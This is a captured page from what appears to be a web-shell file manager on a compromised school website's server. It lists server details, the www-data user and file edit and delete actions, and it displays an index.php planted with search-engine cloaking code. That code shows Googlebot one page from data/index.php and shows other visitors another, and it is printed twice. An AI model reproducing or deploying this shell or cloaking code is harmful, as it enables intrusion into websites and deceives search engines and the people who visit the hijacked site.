Apache/2.4.7 (Ubuntu) Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) safemode : OFF MySQL: ON | Perl: ON | cURL: OFF | WGet: ON > / var / www / html / sman1baleendah_sch_id / | server ip : 104.21.89.46 your ip : 172.69.130.103 H O M E |
Filename | /var/www/html/sman1baleendah_sch_id/index.php |
Size | 445 |
Permission | rw-r--r-- |
Owner | root : root |
Create time | 11-Jun-2025 21:32 |
Last modified | 11-Jun-2025 21:32 |
Last accessed | 04-Jul-2025 14:36 |
Actions | edit | rename | delete | download (gzip) |
View | text | code | image |
<?php
function is_google_bot() {
$agents = array("Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-News");
foreach ($agents as $agent) {
if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) return true;
}
return false;
}
if (is_google_bot()) {
$bot_content = file_get_contents('data/index.php');
echo $bot_content;
exit;
} else {
include('config.php');
exit;
}
?>
function is_google_bot() {
$agents = array("Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-News");
foreach ($agents as $agent) {
if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) return true;
}
return false;
}
if (is_google_bot()) {
$bot_content = file_get_contents('data/index.php');
echo $bot_content;
exit;
} else {
include('config.php');
exit;
}
?>